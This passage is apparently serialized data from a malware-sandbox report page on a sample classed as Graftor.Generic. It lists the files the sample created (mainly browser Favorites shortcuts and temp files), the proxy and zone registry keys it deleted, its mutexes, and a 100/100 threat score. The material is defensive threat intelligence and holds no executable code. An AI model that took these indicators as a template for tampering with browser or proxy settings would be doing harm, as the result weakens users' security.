e11508446b83"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\soso.com.url","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\soufun.com.url","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\southwest.com.url","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\sponichi.co.jp.url","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\Suggested Sites.url","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\surveymonkey.com.url","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\syyx.com.url","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\szgla.com.url","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\taleo.net.url","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\taobao.com.url","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\target.com.url","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\telegraph.co.uk.url","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\tenpay.com.url","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\tianya.cn.url","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\torrentz.eu.url","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\tripadvisor.com.url","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\tripod.com.url","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\tudou.com.url","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\twitter.com.url","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\typepad.com.url","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\uol.com.br.url","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\ups.com.url","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\verizon.com.url","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\verycd.com.url","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\vkontakte.ru.url","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\walmart.com.url","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\weather.com.url","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\Web Slice Gallery.url","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\web.de.url","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\wellsfargo.com.url","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\whitepages.com.url","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\wikia.com.url","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\wikimapia.org.url","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\wikimedia.org.url","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\wikipedia.org.url","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\windows.com.url","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\windowslivehelp.com.url","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\wn.com.url","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\wowan365.com.url","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\wp.pl.url","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\xdwan.cn.url","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\y8.com.url","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\yandex.ru.url","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\yellowpages.com.url","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\yelp.com.url","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\youdao.com.url","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\youku.com.url","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\yzz.cn.url","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\zhenai.com.url","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\zimbio.com.url","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\zing.vn.url","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\Suggested Sites~.feed-ms","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%TEMP%\\~DF8E7540A7CECEBA25.TMP","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%TEMP%\\~DF9BDD60250E5526A9.TMP","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%WINDIR%\\System32\\en-US\\KernelBase.dll.mui","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%WINDIR%\\System32\\msxml3r.dll","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Feeds\\FeedsStore.feedsdb-ms","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%TEMP%\\~DFA010A102F50A2E60.TMP","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%TEMP%\\~DF577D26DB1240D87D.TMP","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\Web Slice Gallery~.feed-ms","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%TEMP%\\~DFC3702A09A56CFBE2.TMP","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%TEMP%\\~DF8E5B799A7CAF6E8E.TMP","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\VPF8NG92\\dnserror[1]","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\7N5LGTOO\\ErrorPageTemplate[1]","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\BPL0BFI3\\errorPageStrings[1]","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\ADO3AVS6\\httpErrorPagesScripts[1]","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\BPL0BFI3\\noConnect[1]","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\ADO3AVS6\\background_gradient[1]","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\VPF8NG92\\down[1]","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\7N5LGTOO\\favcenter[1]","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\BPL0BFI3\\tools[1]","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%WINDIR%\\System32\\en-US\\mshtml.dll.mui","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%WINDIR%\\System32\\mshtml.tlb","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Recent\\CustomDestinations","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Recent\\CustomDestinations\\28c8b86deab549a1.customDestinations-ms","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]}],"files_deleted":null},"registry_activity":{"keys_created":[{"key":"HKLM\\SOFTWARE\\MICROSOFT\\WBEM\\CIMOM\\","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]}],"keys_modified":null,"keys_deleted":[{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\\PROXYBYPASS\\PROXYBYPASS","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"key":"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\\PROXYBYPASS\\PROXYBYPASS","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\\INTRANETNAME\\INTRANETNAME","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"key":"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\\INTRANETNAME\\INTRANETNAME","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\PROXYSERVER\\PROXYSERVER","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\PROXYOVERRIDE\\PROXYOVERRIDE","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\AUTOCONFIGURL\\AUTOCONFIGURL","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"key":"HKCU\\LOCAL SETTINGS\\SOFTWARE\\MICROSOFT\\WINDOWS\\SHELL\\MUICACHE\\@%WINDIR%\\SYSTEM32\\IEFRAME.DLL,-12385\\@%WINDIR%\\SYSTEM32\\IEFRAME.DLL,-12385","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"key":"HKCU\\LOCAL SETTINGS\\SOFTWARE\\MICROSOFT\\WINDOWS\\SHELL\\MUICACHE\\@C:\\WINDOWS\\SYSTEM32\\IEFRAME.DLL,-12385\\@C:\\WINDOWS\\SYSTEM32\\IEFRAME.DLL,-12385","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\SHELLNOROAM\\MUICACHE\\@%WINDIR%\\SYSTEM32\\IEFRAME.DLL.MUI,-12385\\@%WINDIR%\\SYSTEM32\\IEFRAME.DLL.MUI,-12385","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\SHELLNOROAM\\MUICACHE\\@C:\\WINDOWS\\SYSTEM32\\IEFRAME.DLL.MUI,-12385\\@C:\\WINDOWS\\SYSTEM32\\IEFRAME.DLL.MUI,-12385","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\INTERNET EXPLORER\\SUGGESTED SITES\\ENABLED\\ENABLED","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\INTERNET EXPLORER\\RECOVERY\\ADMINACTIVE\\{40FCA783-D272-11E8-A9FB-0A0027BB3F0D}\\{40FCA783-D272-11E8-A9FB-0A0027BB3F0D}","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\INTERNET EXPLORER\\LINKSBAR\\ITEMCACHE\\0\\EXPIRATION\\EXPIRATION","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\INTERNET EXPLORER\\LINKSBAR\\ITEMCACHE\\1\\EXPIRATION\\EXPIRATION","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\INTERNET EXPLORER\\LOWREGISTRY\\ADDTOFAVORITESINITIALSELECTION\\ADDTOFAVORITESINITIALSELECTION","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\INTERNET EXPLORER\\LOWREGISTRY\\ADDTOFEEDSINITIALSELECTION\\ADDTOFEEDSINITIALSELECTION","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\INTERNET EXPLORER\\RECOVERY\\ADMINACTIVE\\{FB8AAF53-D277-11E8-A9FB-0A0027BB3F0D}\\{FB8AAF53-D277-11E8-A9FB-0A0027BB3F0D}","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\INTERNET EXPLORER\\RECOVERY\\ADMINACTIVE\\{6DDACCA3-D27D-11E8-A9FB-0A0027BB3F0D}\\{6DDACCA3-D27D-11E8-A9FB-0A0027BB3F0D}","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\INTERNET EXPLORER\\RECOVERY\\ADMINACTIVE\\{E0CE6B03-D282-11E8-A9FB-0A0027BB3F0D}\\{E0CE6B03-D282-11E8-A9FB-0A0027BB3F0D}","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\INTERNET EXPLORER\\RECOVERY\\ADMINACTIVE\\{2FD88FB3-D288-11E8-A9FB-0A0027BB3F0D}\\{2FD88FB3-D288-11E8-A9FB-0A0027BB3F0D}","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]}]},"mutex_activity":{"mutex_created":[{"name":"\\Sessions\\1\\BaseNamedObjects\\IESQMMUTEX_0_208","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\_!MSFTHISTORY!_","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\c:!users!%OSUSER%!appdata!local!microsoft!windows!temporary internet files!content.ie5!","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\c:!users!%OSUSER%!appdata!roaming!microsoft!windows!cookies!","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\c:!users!%OSUSER%!appdata!local!microsoft!windows!history!history.ie5!","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\WininetStartupMutex","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\WininetConnectionMutex","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\WininetProxyRegistryMutex","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\!BrowserEmulation!SharedMemory!Mutex","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZoneAttributeCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\RasPbFile","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\ConnHashTable<3364>_HashTable_Mutex","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCounterMutex","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\!IETld!Mutex","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\c:!users!%OSUSER%!appdata!roaming!microsoft!windows!ietldcache!","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\RSS Eventing Connection Database Mutex 00000d24","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\Feed Eventing Shared Memory Mutex S-1-5-21-4162757579-3804539371-4239455898-1000","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\Feed Arbitration Shared Memory Mutex [ User : S-1-5-21-4162757579-3804539371-4239455898-1000 ]","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\Feeds Store Mutex S-1-5-21-4162757579-3804539371-4239455898-1000","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\c:!users!%OSUSER%!appdata!local!microsoft!feeds cache!","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\!IECompat!Mutex","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\c:!users!%OSUSER%!appdata!roaming!microsoft!windows!iecompatcache!","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\!PrivacIE!SharedMemory!Mutex","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\ConnHashTable<2568>_HashTable_Mutex","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\RSS Eventing Connection Database Mutex 00000a08","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\ConnHashTable<2804>_HashTable_Mutex","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\RSS Eventing Connection Database Mutex 00000af4","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\IESQMMUTEX_0_191","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\ConnHashTable<2360>_HashTable_Mutex","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\RSS Eventing Connection Database Mutex 00000938","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\ConnHashTable<3384>_HashTable_Mutex","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\RSS Eventing Connection Database Mutex 00000d38","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]}]}},"report_ids":{"sandbox_job_ids":["5bc7443e7ca3e11508446b83"]}}}]]}] 1e:null 22:[["$","title","0",{"children":"Malicious Graftor.Generic Sample 8699504581b6… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","1",{"name":"description","content":"Malicious verdict for sample 8699504581b6…. Malware family: Graftor.Generic. Threat score 100/100. 15/28 AV engines flagged this file. 5 malicious and 16 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","2",{"name":"robots","content":"index, follow"}],["$","link","3",{"rel":"canonical","href":"https://www.hybrid-analysis.com/sample/8699504581b66c1103731360d971270414f99637a2121f1a2f937096937b1052"}],["$","meta","4",{"property":"og:title","content":"Malicious Graftor.Generic Sample 8699504581b6… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","5",{"property":"og:description","content":"Malicious verdict for sample 8699504581b6…. Malware family: Graftor.Generic. Threat score 100/100. 15/28 AV engines flagged this file. 5 malicious and 16 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","6",{"property":"og:url","content":"https://www.hybrid-analysis.com/sample/8699504581b66c1103731360d971270414f99637a2121f1a2f937096937b1052"}],["$","meta","7",{"name":"twitter:card","content":"summary"}],["$","meta","8",{"name":"twitter:title","content":"Malicious Graftor.Generic Sample 8699504581b6… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","9",{"name":"twitter:description","content":"Malicious verdict for sample 8699504581b6…. Malware family: Graftor.Generic. Threat score 100/100. 15/28 AV engines flagged this file. 5 malicious and 16 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","link","10",{"rel":"icon","href":"/favicon.svg"}],["$","$L31","11",{}]]